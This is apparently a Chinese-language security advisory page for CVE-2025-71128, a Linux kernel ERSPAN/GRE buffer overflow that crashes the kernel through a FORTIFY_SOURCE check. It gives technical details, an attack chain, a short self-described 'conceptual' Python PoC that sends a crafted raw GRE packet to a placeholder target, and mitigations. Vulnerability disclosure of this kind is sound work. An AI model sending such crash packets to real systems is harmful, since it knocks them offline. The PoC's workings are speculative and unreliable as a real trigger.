IPBUF安全漏洞报告
English
CVE-2025-71128 CVSS 5.5 中危

Linux kernel erspan 缓冲区溢出漏洞 (CVE-2025-71128)

披露日期: 2026-01-14
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71128
漏洞类型
缓冲区溢出
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux kernel

相关标签

Linux kernel缓冲区溢出ERSPANGRE tunnelFORTIFY_SOURCE本地提权拒绝服务CVE-2025-71128

漏洞概述

CVE-2025-71128是Linux内核中与ERSPAN(Encapsulated Remote Switch Port Analyzer)GRE隧道实现相关的缓冲区溢出漏洞。该漏洞位于net/ipv4/erspan.c代码中,由于在处理ERSPAN流量时,struct ip_tunnel_info结构体中的options_len字段未在引用options灵活数组成员之前正确初始化,导致编译器在启用GCC 15+和FORTIFY_SOURCE配置时检测到缓冲区溢出。具体表现为4字节写入操作试图写入大小为0的缓冲区,触发memcpy溢出现场检测,最终导致内核崩溃(kernel panic)。该漏洞需要攻击者具有本地低权限访问权限,无需用户交互即可触发,但仅影响可用性(拒绝服务),不涉及机密性或完整性影响。

技术细节

该漏洞的根本原因在于struct ip_tunnel_info结构体的设计。该结构包含一个受counted_by(options_len)属性保护的灵活数组成员options。GCC编译器利用此信息对FORTIFY_SOURCE字符串辅助函数实施运行时边界检查。根据GCC文档,计数器必须在首次引用灵活数组成员之前初始化。正常情况下应使用ip_tunnel_info_opts_set()辅助函数来初始化options_len,然后安全地将数据复制到options。然而,在GRE ERSPAN代码中执行了部分更新操作,阻止了辅助函数的使用,导致options_len保持未初始化状态。当内核以GCC 15+和FORTIFY_SOURCE配置编译时,处理ERSPAN流量的代码会触发__fortify_panic,最终导致内核崩溃。攻击者可通过向配置了ERSPAN的GRE隧道发送特制数据包来触发此漏洞,实现本地拒绝服务攻击。

攻击链分析

STEP 1
步骤1
攻击者获得目标系统的本地低权限访问权限
STEP 2
步骤2
确认目标系统运行Linux内核且配置了ERSPAN GRE隧道
STEP 3
步骤3
确认内核使用GCC 15+编译并启用了FORTIFY_SOURCE
STEP 4
步骤4
攻击者构造包含恶意数据的ERSPAN数据包,触发options_len与options数组大小不匹配
STEP 5
步骤5
通过GRE隧道接口发送特制数据包到目标系统
STEP 6
步骤6
内核处理数据包时,ip_tunnel_info结构体的options字段被错误引用
STEP 7
步骤7
FORTIFY_SOURCE检测到memcpy操作发生缓冲区溢出(4字节写入到大小为0的缓冲区)
STEP 8
步骤8
__fortify_panic被调用,内核崩溃(kernel panic),导致系统拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Conceptual PoC for CVE-2025-71128 # This is a theoretical exploit demonstration # Environment: Linux kernel with GCC 15+ and FORTIFY_SOURCE enabled # Target: Systems with ERSPAN over GRE tunnel configured import socket import struct def craft_erspan_packet(): """ Craft a malformed ERSPAN packet that triggers buffer overflow by not properly initializing options_len before options access. """ # GRE header gre_header = struct.pack('!HH', 0x2000, # Flags - ERSPAN type II 0x88BE # Protocol type - ERSPAN ) # ERSPAN Platform Specific Header (triggers the vulnerability) # The issue occurs when options_len is not set before options access erspan_header = struct.pack('!BBH', 0x10, # Ver + VLAN info 0x00, # COS + Encap type 0x0000 # Truncated session ID ) # Malformed payload that causes options_len mismatch payload = b'A' * 64 # Data that triggers overflow detection packet = gre_header + erspan_header + payload return packet def exploit(): """ Send crafted ERSPAN packet to trigger kernel panic. Requires ERSPAN GRE tunnel to be configured on target. """ s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_GRE) # Target configuration (requires GRE tunnel with ERSPAN) target_ip = "TARGET_IP" # Replace with target IP packet = craft_erspan_packet() s.sendto(packet, (target_ip, 0)) print("Malicious ERSPAN packet sent") print("If target has ERSPAN GRE tunnel configured with vulnerable kernel,") print("this should trigger kernel panic: memcpy buffer overflow") if __name__ == "__main__": print("CVE-2025-71128 Conceptual PoC") print("Note: This PoC requires specific environment conditions:") print("1. Linux kernel compiled with GCC 15+") print("2. FORTIFY_SOURCE enabled in kernel config") print("3. ERSPAN GRE tunnel configured on target") print("4. Local access to send packets to the tunnel interface")

影响范围

Linux kernel < 修复版本 (使用GCC 15+和FORTIFY_SOURCE配置)
特定受影响版本需参考内核主线修复提交:35ddf66c65eff93fff91406756ba273600bf61a3
特定受影响版本需参考内核主线修复提交:b282b2a9eed848587c1348abdd5d83fa346a2743

防御指南

临时缓解措施
如果无法立即升级内核,可采取以下临时缓解措施:1) 禁用系统上的ERSPAN GRE隧道配置;2) 使用网络访问控制限制对GRE隧道接口的访问;3) 监控并阻止异常的GRE/ERSPAN流量;4) 考虑使用iptables或ebtables规则限制ERSPAN数据包的接收。长期来看,应尽快应用内核安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表